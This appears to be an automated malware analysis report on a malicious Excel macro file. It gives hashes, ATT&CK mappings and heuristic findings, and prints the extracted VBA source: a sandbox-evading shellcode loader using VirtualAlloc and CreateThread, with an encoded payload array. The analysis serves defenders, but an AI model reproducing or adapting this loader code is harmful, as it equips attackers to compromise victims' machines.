Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f7a92ac60620a6ce…

MALICIOUS

Office (OOXML)

17.0 KB Created: 2021-09-13 12:02:10 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-22
MD5: 08d2fac885d278a59f1c01c48783a32c SHA-1: 0e9b00d61f605bc68cc6c57f04814fe02a079f0a SHA-256: f7a92ac60620a6ceb9f13ee678da9fe8302bb57c3eb61d05740a586e2294584f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Workbook_Open macro, which is designed to execute automatically when the document is opened. The VBA code includes calls to GetObject and attempts to allocate memory and create threads, indicative of a downloader or execution mechanism. The presence of these elements strongly suggests the file is intended to download and execute a secondary payload.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4974 bytes
SHA-256: a5f6bac0493feffa5998621fd770929edd93ca8a55096cd418cbc9f850001303
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function PVm()
 Dim NHo As Variant
 Dim bDF As LongPtr
 Dim kCY As Long
 Dim AXc As Long
 Dim ufd As LongPtr
 If Application.RecentFiles.Count < 3 Then
Exit Function
End If
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
For Each objItem In colItems
If objItem.NumberOfCores < 3 Then
Exit Function
End If
Next
 NHo = Array(257, 77, 136, 233, 245, 237, 209, 5, 5, 5, 70, 86, 70, 85, 87, 77, 54, 215, 86, 106, 77, 144, 87, 101, 91, 77, 144, 87, 29, 77, 144, 87, 37, 77, 144, 119, 85, 77, 20, 188, 79, 79, 82, 54, 206, 77, 54, 197, 177, 65, _
102, 129, 7, 49, 37, 70, 198, 206, 18, 70, 6, 198, 231, 242, 87, 70, 86, 77, 144, 87, 37, 144, 71, 65, 77, 6, 213, 107, 134, 125, 29, 16, 7, 20, 138, 119, 5, 5, 5, 144, 133, 141, 5, 5, 5, 77, 138, 197, 121, 108, _
77, 6, 213, 144, 77, 29, 73, 144, 69, 37, 78, 6, 213, 85, 232, 91, 77, 260, 206, 70, 144, 57, 141, 77, 6, 219, 82, 54, 206, 77, 54, 197, 70, 198, 206, 18, 177, 70, 6, 198, 61, 229, 122, 246, 81, 8, 81, 41, 13, 74, _
62, 214, 122, 221, 93, 73, 144, 69, 41, 78, 6, 213, 107, 70, 144, 17, 77, 73, 144, 69, 33, 78, 6, 213, 70, 144, 9, 141, 77, 6, 213, 70, 93, 70, 93, 99, 94, 95, 70, 93, 70, 94, 70, 95, 77, 136, 241, 37, 70, 87, _
260, 229, 93, 70, 94, 95, 77, 144, 23, 238, 80, 260, 260, 260, 98, 77, 54, 224, 88, 78, 195, 124, 110, 115, 110, 115, 106, 121, 5, 70, 91, 77, 142, 230, 78, 204, 199, 81, 124, 43, 12, 260, 218, 88, 88, 77, 142, 230, 88, 95, _
82, 54, 197, 82, 54, 206, 88, 88, 78, 191, 63, 91, 126, 172, 5, 5, 5, 5, 260, 218, 237, 21, 5, 5, 5, 54, 62, 55, 51, 54, 59, 61, 51, 54, 61, 61, 51, 54, 55, 62, 5, 95, 77, 142, 198, 78, 204, 197, 97, 22, _
5, 5, 82, 54, 206, 88, 88, 111, 8, 88, 78, 191, 92, 142, 164, 203, 5, 5, 5, 5, 260, 218, 237, 140, 5, 5, 5, 52, 116, 89, 75, 114, 106, 59, 90, 82, 75, 120, 104, 92, 79, 87, 104, 115, 105, 125, 91, 119, 56, 124, _
103, 104, 90, 70, 61, 119, 95, 77, 58, 60, 118, 108, 119, 118, 115, 87, 125, 87, 80, 125, 86, 75, 75, 93, 59, 58, 119, 106, 53, 54, 78, 79, 60, 92, 84, 88, 76, 79, 50, 116, 122, 120, 84, 91, 122, 100, 104, 74, 57, 112, _
105, 54, 106, 57, 83, 62, 55, 123, 71, 55, 106, 90, 58, 87, 92, 113, 106, 60, 78, 92, 104, 81, 92, 74, 58, 125, 103, 119, 126, 53, 124, 54, 87, 90, 120, 94, 113, 114, 58, 109, 80, 120, 127, 89, 59, 71, 59, 116, 60, 117, _
122, 92, 82, 56, 59, 83, 125, 103, 50, 75, 113, 5, 77, 142, 198, 88, 95, 70, 93, 82, 54, 206, 88, 77, 189, 5, 55, 173, 137, 5, 5, 5, 5, 85, 88, 88, 78, 204, 199, 240, 90, 51, 64, 260, 218, 77, 142, 203, 111, 15, _
100, 77, 142, 246, 111, 36, 95, 87, 109, 133, 56, 5, 5, 78, 142, 229, 111, 9, 70, 94, 78, 191, 122, 75, 163, 139, 5, 5, 5, 5, 260, 218, 82, 54, 197, 88, 95, 77, 142, 246, 82, 54, 206, 82, 54, 206, 88, 88, 78, 204, _
199, 50, 11, 29, 128, 260, 218, 138, 197, 122, 36, 77, 204, 198, 141,
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23040 bytes
SHA-256: 00ea80da03ee80b5dfea140d780c75913b53c59a83b87138b1e9b1a832b71c26

Open this report in the interactive analyzer, or submit your own file for analysis.